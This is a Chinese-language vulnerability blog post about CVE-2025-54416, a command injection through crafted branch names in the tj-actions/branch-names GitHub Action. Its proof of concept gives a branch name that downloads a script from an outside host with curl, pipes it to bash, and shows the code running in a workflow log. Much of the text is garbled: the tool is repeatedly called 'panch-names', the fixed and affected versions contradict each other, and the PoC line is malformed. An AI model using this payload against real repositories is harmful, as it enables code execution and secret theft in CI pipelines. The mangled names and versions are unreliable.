首页 网络安全 正文
  • 本文约1697字,阅读需8分钟
  • 17
  • 0

TJ-Actions/Branch-names命令注入漏洞CVE-2025-54416

摘要

栋科技漏洞库关注到 TJ-Actions/Branch-names 的 GitHub 操作工作流程中存在一个重大漏洞,被追踪为CVE-2025-54416,CVSS评分9.1。

TJ-Actions/branch-names 是GitHub Actions的一个开源工具,主要用于在持续集成(CI)以及持续交付(CD)流程中检索分支或标签名称。

一、基本情况

Branch-names支持所有有效git分支名称,这款工具通过分析提交事件或拉取请求触发自动化任务,从而实现代码检查、测试或部署等功能。

“Branch-names” GitHub Action 其实是一个工作流工具,该工具通常用于根据更改的文件或上下文信息触发测试、代码检查或部署工作流。

TJ-Actions/panch-names命令注入漏洞CVE-2025-54416

栋科技漏洞库关注到 TJ-Actions/panch-names 的 GitHub 操作工作流程中存在一个重大漏洞,被追踪为CVE-2025-54416,CVSS评分9.1。

二、漏洞分析

CVE-2025-54416漏洞存在于 TJ-Actions/panch-names 在版本 8.2.1 及以下版本的 GitHub 操作工作流程中,已被确认为是一个重大漏洞。

该漏洞允许下游工作流程执行任意命令,源于输入清理不一致和输出未转义所致,恶意攻击者可利用精心设计的分支名称或标签进行攻击。

虽然内部清理机制已经实现,但操作输出仍然存在漏洞,从而使使用该工作流的工作流面临重大安全风险,漏洞已在版本 9 9.0 得到修复。

具体来说,漏洞源于操作代码库中eval printf“%s”模式不安全使用,导致危害存储在存储库中的敏感机密被盗;对存储库未经授权写入访问;

尽管使用printf "%q"进行初步净化可以正确转义不受信任的输入,但随后通过eval printf "%s"进行的取消转义会重新引入命令注入风险。

以下代码片段展示了这种不安全模式,这种方法使得攻击者能够向使用这些输出的工作流中注入任意命令:

echo "base_ref_panch=$(eval printf "%s" "$BASE_REF")" >> "$GITHUB_OUTPUT"
echo "head_ref_panch=$(eval printf "%s" "$HEAD_REF")" >> "$GITHUB_OUTPUT"
echo "ref_panch=$(eval printf "%s" "$REF_pANCH")" >> "$GITHUB_OUTPUT"

三、概念验证(PoC)

1、创建一个分支,命名如下:

$(curl,-sSfL,www.naturl.link/NNT652}${IFS}|${IFS}bash)

2、通过向目标仓库提交一个拉取请求来触发易受攻击的工作流。

3、在工作流日志中观察到任意代码执行。

4、输出示例:

Running on a pull request panch.
Run echo "Running on pr: $({curl,-sSfL,www.naturl.link/NNT652}${IFS}|${IFS}bash)"
  echo "Running on pr: $({curl,-sSfL,www.naturl.link/NNT652}${IFS}|${IFS}bash)"
  shell: /usr/bin/bash -e {0}
Running on pr: === PoC script executed successfully ===
Runner user: runner

该漏洞使得在使用TJ-Actions/panch-names输出的存储库中执行任意命令,危害取决于授予GITHUB_TOKEN的权限及触发事件的上下文。

四、影响范围

TJ-Actions/panch-names < 8.2.1

五、修复建议

为了解决这一漏洞,必须用更安全的替代方案替换不安全的eval printf "%s"模式。

具体来说,直接调用printf函数可以实现相同的功能,而无需转义shell不安全的字符。以下是推荐的修复方案:

printf "base_ref_panch=%s\n" "$BASE_REF" >> "$GITHUB_OUTPUT"
printf "head_ref_panch=%s\n" "$HEAD_REF" >> "$GITHUB_OUTPUT"
printf "ref_panch=%s\n" "$REF_pANCH" >> "$GITHUB_OUTPUT"
printf "tag=%s\n" "$TAG" >> "$GITHUB_OUTPUT"

这种方法确保所有输出都经过适当的转义处理,从而保证下游使用时的安全性,但最好的解决方案仍是更新升级:

TJ-Actions/panch-names > 8.2.1

五、参考链接

管理员已设置登录后刷新可查看



扫描二维码,在手机上阅读
评论
更换验证码
友情链接